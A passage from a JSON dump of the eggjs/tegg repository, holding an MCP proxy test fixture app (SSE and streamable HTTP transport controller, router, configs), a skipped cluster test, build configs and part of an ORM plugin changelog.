EventStore.replayEventsAfter\n   */\n  async replayEventsAfter(\n    lastEventId: string,\n    { send }: { send: (eventId: string, message: JSONRPCMessage) => Promise<void> },\n  ): Promise<string> {\n    if (!lastEventId || !this.events.has(lastEventId)) {\n      return '';\n    }\n\n    // Extract the stream ID from the event ID\n    const streamId = this.getStreamIdFromEventId(lastEventId);\n    if (!streamId) {\n      return '';\n    }\n\n    let foundLastEvent = false;\n\n    // Sort events by eventId for chronological ordering\n    const sortedEvents = [...this.events.entries()].sort((a, b) => a[0].localeCompare(b[0]));\n\n    for (const [eventId, { streamId: eventStreamId, message }] of sortedEvents) {\n      // Only include events from the same stream\n      if (eventStreamId !== streamId) {\n        continue;\n      }\n\n      // Start sending events after we find the lastEventId\n      if (eventId === lastEventId) {\n        foundLastEvent = true;\n        continue;\n      }\n\n      if (foundLastEvent) {\n        await send(eventId, message);\n      }\n    }\n    return streamId;\n  }\n}\n\nconst transports: Record<string, StreamableHTTPServerTransport | SSEServerTransport> = {};\n\nexport default class App extends Controller {\n  async ssePostHandler(req, res) {\n    const sessionId = req.query?.sessionId ?? (querystring.parse(url.parse(req.url).query ?? '').sessionId as string);\n    let transport: SSEServerTransport;\n    const existingTransport = transports[sessionId];\n    if (existingTransport instanceof SSEServerTransport) {\n      transport = existingTransport;\n    } else {\n      res.status(400).json({\n        jsonrpc: '2.0',\n        error: {\n          code: -32000,\n          message: 'Bad Request: Session exists but uses a different transport protocol',\n        },\n        id: null,\n      });\n      return;\n    }\n    if (transport) {\n      await transport.handlePostMessage(req, res);\n    } else {\n      res.status(404).send({\n        jsonrpc: '2.0',\n        error: {\n          code: -32602,\n          message: 'Bad Request: No transport found for sessionId',\n        },\n        id: null,\n      });\n    }\n  }\n\n  async init() {\n    // sse stream\n    this.ctx.respond = false;\n    this.ctx.set({\n      'content-type': 'text/event-stream',\n      'cache-control': 'no-cache',\n    });\n    const self = this;\n    const transport = new SSEServerTransport('/message', this.ctx.res);\n    // register handler and client demo\n    this.app.mcpProxy.setProxyHandler(MCPProtocols.SSE, async (req, res) => {\n      return await self.ssePostHandler(req, res);\n    });\n    transports[transport.sessionId] = transport;\n    await this.app.mcpProxy.registerClient(transport.sessionId, process.pid);\n    this.ctx.res.on('close', async () => {\n      delete transports[transport.sessionId];\n      await this.app.mcpProxy.unregisterClient(transport.sessionId);\n    });\n    // call\n    const server = mcpServer;\n    await server.connect(transport);\n  }\n\n  async message() {\n    const detail = await this.app.mcpProxy.getClient(this.ctx.request.query.sessionId);\n    if (detail?.pid !== process.pid) {\n      await this.app.mcpProxy.proxyMessage(this.ctx, {\n        detail: detail!,\n        sessionId: this.ctx.request.query.sessionId,\n        type: MCPProtocols.SSE,\n      });\n    } else {\n      await this.ssePostHandler(this.ctx.req, this.ctx.res);\n    }\n  }\n\n  async streamPostHandler(req, res) {\n    const sessionId = req.headers['mcp-session-id'] as string | undefined;\n    if (!sessionId) {\n      res.status(500).json({\n        jsonrpc: '2.0',\n        error: {\n          code: -32603,\n          message: 'session id not have and run in proxy',\n        },\n        id: null,\n      });\n    } else {\n      let transport: StreamableHTTPServerTransport;\n      const existingTransport = transports[sessionId];\n      if (existingTransport instanceof StreamableHTTPServerTransport) {\n        transport = existingTransport;\n      } else {\n        res.status(400).json({\n          jsonrpc: '2.0',\n          error: {\n            code: -32000,\n            message: 'Bad Request: Session exists but uses a different transport protocol',\n          },\n          id: null,\n        });\n        return;\n      }\n      if (transport) {\n        await transport.handleRequest(req, res);\n      } else {\n        res.status(404).send({\n          jsonrpc: '2.0',\n          error: {\n            code: -32602,\n            message: 'Bad Request: No transport found for sessionId',\n          },\n          id: null,\n        });\n      }\n    }\n  }\n\n  async allStream() {\n    const sessionId = this.ctx.req.headers['mcp-session-id'] as string | undefined;\n    if (!sessionId) {\n      const ct = contentType.parse(this.ctx.req.headers['content-type'] ?? '');\n\n      const body = JSON.parse(\n        await getRawBody(this.ctx.req, {\n          limit: '4mb',\n          encoding: ct.parameters.charset ?? 'utf-8',\n        }),\n      );\n\n      if (isInitializeRequest(body)) {\n        this.ctx.respond = false;\n        this.ctx.set({\n          'content-type': 'text/event-stream',\n          'cache-control': 'no-cache',\n        });\n        const eventStore = new InMemoryEventStore();\n        const self = this;\n        const transport = new StreamableHTTPServerTransport({\n          sessionIdGenerator: () => randomUUID(),\n          eventStore,\n          onsessioninitialized: async (sessionId) => {\n            transports[sessionId] = transport;\n            this.app.mcpProxy.setProxyHandler(MCPProtocols.STREAM, async (req, res) => {\n              return await self.streamPostHandler(req, res);\n            });\n            await this.app.mcpProxy.registerClient(sessionId, process.pid);\n          },\n        });\n        transport.onclose = async () => {\n          const sid = transport.sessionId;\n          if (sid && transports[sid]) {\n            delete transports[sid];\n          }\n          await this.app.mcpProxy.unregisterClient(sid!);\n        };\n        await mcpServer.connect(transport);\n\n        await transport.handleRequest(this.ctx.req, this.ctx.res, body);\n      } else {\n        this.ctx.status = 400;\n        this.ctx.body = {\n          jsonrpc: '2.0',\n          error: {\n            code: -32000,\n            message: 'Bad Request: No valid session ID provided',\n          },\n          id: null,\n        };\n        return;\n      }\n    } else if (sessionId) {\n      const detail = await this.app.mcpProxy.getClient(sessionId);\n      if (detail?.pid !== process.pid) {\n        await this.app.mcpProxy.proxyMessage(this.ctx, {\n          detail: detail!,\n          sessionId,\n          type: MCPProtocols.STREAM,\n        });\n      } else {\n        this.ctx.respond = false;\n        this.ctx.set({\n          'content-type': 'text/event-stream',\n          'cache-control': 'no-cache',\n        });\n        const transport = transports[sessionId] as StreamableHTTPServerTransport;\n        await transport.handleRequest(this.ctx.req, this.ctx.res);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/test/fixtures/apps/mcp-proxy/app/router.ts",
    "content": "import { Application } from 'egg';\n\nmodule.exports = (app: Application) => {\n  app.router.all('/stream', app.controller.app.allStream);\n  app.router.get('/init', app.controller.app.init);\n  app.router.post('/message', app.controller.app.message);\n};\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/test/fixtures/apps/mcp-proxy/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        enable: false,\n      },\n    },\n    bodyParser: {\n      enable: false,\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/test/fixtures/apps/mcp-proxy/config/plugin.js",
    "content": "'use strict';\n\n// eslint-disable-next-line @typescript-eslint/no-var-requires\nconst path = require('node:path');\n\nexports.tegg = {\n  package: '@eggjs/tegg-plugin',\n  enable: true,\n};\n\nexports.teggConfig = {\n  package: '@eggjs/tegg-config',\n  enable: true,\n};\n\nexports.mcpProxy = {\n  enable: true,\n  path: path.join(__dirname, '../../../../../'),\n};\n\nexports.watcher = false;\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/test/fixtures/apps/mcp-proxy/package.json",
    "content": "{\n  \"name\": \"egg-app\"\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/test/proxy.test.ts",
    "content": "import assert from 'assert';\nimport { createRequire } from 'module';\nimport path from 'path';\nimport { fileURLToPath } from 'url';\n\nimport mm from '@eggjs/mock';\nimport { Client } from '@modelcontextprotocol/sdk/client/index.js';\nimport { SSEClientTransport } from '@modelcontextprotocol/sdk/client/sse.js';\nimport {\n  CallToolRequest,\n  CallToolResultSchema,\n  ListToolsRequest,\n  ListToolsResultSchema,\n  LoggingMessageNotificationSchema,\n} from '@modelcontextprotocol/sdk/types.js';\nimport { fetch } from 'urllib';\nimport { afterAll, afterEach, beforeAll, describe, it } from 'vitest';\n\nconst require = createRequire(import.meta.url);\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nasync function listTools(client: Client) {\n  const toolsRequest: ListToolsRequest = {\n    method: 'tools/list',\n    params: {},\n  };\n  const toolsResult = await client.request(toolsRequest, ListToolsResultSchema);\n\n  const tools: { name: string; description?: string }[] = [];\n  for (const tool of toolsResult.tools) {\n    tools.push({\n      name: tool.name,\n      description: tool.description,\n    });\n  }\n  return tools;\n}\nasync function startNotificationTool(client: Client) {\n  // Call the notification tool using reasonable defaults\n  const request: CallToolRequest = {\n    method: 'tools/call',\n    params: {\n      name: 'start-notification-stream',\n      arguments: {\n        interval: 1000, // 1 second between notifications\n        count: 5, // Send 5 notifications\n      },\n    },\n  };\n  const result = await client.request(request, CallToolResultSchema);\n\n  const notifications: { text: string }[] = [];\n\n  result.content.forEach((item) => {\n    if (item.type === 'text') {\n      notifications.push({\n        text: item.text,\n      });\n    } else {\n      notifications.push({\n        text: (item as any).data!.toString(),\n      });\n    }\n  });\n  return notifications;\n}\n\n// FIXME: cluster mode tests require compiled dist/ files for worker processes.\n// Running from TypeScript source causes incompatibilities:\n// - --import=tsx/esm: ERR_REQUIRE_CYCLE_MODULE with egg core loader's require()\n// - --import tsx: reflect-metadata/decorator failures\n// - no tsx: SyntaxError on TypeScript decorators\n// These tests should be re-enabled after building dist/ files or fixing the ESM/CJS interop.\ndescribe.skip('plugin/mcp-proxy/test/proxy.test.ts', () => {\n  if (parseInt(process.version.slice(1, 3)) > 17) {\n    let app: any;\n    let StreamableHTTPClientTransport: any;\n\n    beforeAll(async () => {\n      const mod = await import('@modelcontextprotocol/sdk/client/streamableHttp.js');\n      StreamableHTTPClientTransport = mod.StreamableHTTPClientTransport;\n\n      mm(process.env, 'EGG_TYPESCRIPT', true);\n      mm(process, 'cwd', () => {\n        return path.join(__dirname, '..');\n      });\n      app = mm.cluster({\n        baseDir: path.join(__dirname, 'fixtures/apps/mcp-proxy'),\n        framework: path.dirname(require.resolve('egg/package.json')),\n        workers: 3,\n      });\n      await app.ready();\n    });\n\n    afterAll(async () => {\n      await app.close();\n    });\n\n    afterEach(() => {\n      // mm.restore();\n    });\n\n    it('sse should work', async () => {\n      const sseClient = new Client({\n        name: 'sse-demo-client',\n        version: '1.0.0',\n      });\n      const baseUrl = await app.httpRequest().get('/init').url;\n      const sseTransport = new SSEClientTransport(new URL(baseUrl));\n      const sseNotifications: { level: string; data: string }[] = [];\n      sseClient.setNotificationHandler(LoggingMessageNotificationSchema, (notification) => {\n        sseNotifications.push({ level: notification.params.level, data: notification.params.data as string });\n      });\n      await sseClient.connect(sseTransport);\n      const tools = await listTools(sseClient);\n      const notificationResp = await startNotificationTool(sseClient);\n      await new Promise((resolve) => setTimeout(resolve, 5000));\n      await sseTransport.close();\n      assert.deepEqual(tools, [\n        {\n          name: 'start-notification-stream',\n          description: 'Starts sending periodic notifications for testing resumability',\n        },\n      ]);\n      assert.deepEqual(notificationResp, [{ text: 'Started sending periodic notifications every 1000ms' }]);\n      assert.deepEqual(sseNotifications, [\n        { level: 'info', data: 'Periodic notification #1' },\n        { level: 'info', data: 'Periodic notification #2' },\n        { level: 'info', data: 'Periodic notification #3' },\n        { level: 'info', data: 'Periodic notification #4' },\n        { level: 'info', data: 'Periodic notification #5' },\n      ]);\n    });\n\n    it('streamable should work', async () => {\n      const streamableClient = new Client({\n        name: 'streamable-demo-client',\n        version: '1.0.0',\n      });\n      const baseUrl = await app.httpRequest().post('/stream').url;\n      const streamableTransport = new StreamableHTTPClientTransport(new URL(baseUrl), {\n        // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n        // @ts-ignore\n        fetch: async (...args: any[]) => {\n          // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n          // @ts-ignore\n          const res = await fetch(...args);\n          assert.deepEqual(res.headers.has('content-length'), !res.headers.has('transfer-encoding'));\n          return res;\n        },\n      });\n      const streamableNotifications: { level: string; data: string }[] = [];\n      streamableClient.setNotificationHandler(LoggingMessageNotificationSchema, (notification) => {\n        streamableNotifications.push({ level: notification.params.level, data: notification.params.data as string });\n      });\n      await streamableClient.connect(streamableTransport);\n      const tools = await listTools(streamableClient);\n      const notificationResp = await startNotificationTool(streamableClient);\n      await new Promise((resolve) => setTimeout(resolve, 5000));\n      await streamableTransport.terminateSession();\n      await streamableClient.close();\n      assert.deepEqual(tools, [\n        {\n          name: 'start-notification-stream',\n          description: 'Starts sending periodic notifications for testing resumability',\n        },\n      ]);\n      assert.deepEqual(notificationResp, [{ text: 'Started sending periodic notifications every 1000ms' }]);\n      assert.deepEqual(streamableNotifications, [\n        { level: 'info', data: 'Periodic notification #1' },\n        { level: 'info', data: 'Periodic notification #2' },\n        { level: 'info', data: 'Periodic notification #3' },\n        { level: 'info', data: 'Periodic notification #4' },\n        { level: 'info', data: 'Periodic notification #5' },\n      ]);\n    });\n  }\n});\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"exclude\": [\"test/**/*.ts\"]\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/tsdown.config.ts",
    "content": "import { defineConfig, type UserConfig } from 'tsdown';\n\nconst config: UserConfig = defineConfig({\n  unused: {\n    level: 'error',\n    ignore: ['@eggjs/tegg-plugin', 'egg'],\n  },\n});\nexport default config;\n"
  },
  {
    "path": "tegg/plugin/orm/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n\n### Bug Fixes\n\n* export Orm class ([#293](https://github.com/eggjs/tegg/issues/293)) ([cc902e0](https://github.com/eggjs/tegg/commit/cc902e0e0a833fd7a3301b72862df0d75b2042cb))\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n\n### Bug Fixes\n\n* generate index name with column name ([#230](https://github.com/eggjs/tegg/issues/230)) ([82ec72d](https://github.com/eggjs/tegg/commit/82ec72d4fb8628c847b32d0ddf23a95119ca6ccf))\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n\n### Bug Fixes\n\n* fix standalone import ConfigSource ([#163](https://github.com/eggjs/tegg/issues/163)) ([6922071](https://github.com/eggjs/tegg/commit/6922071219413a8a11387be3d05f0e3970ce4f48))\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-plugin\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator 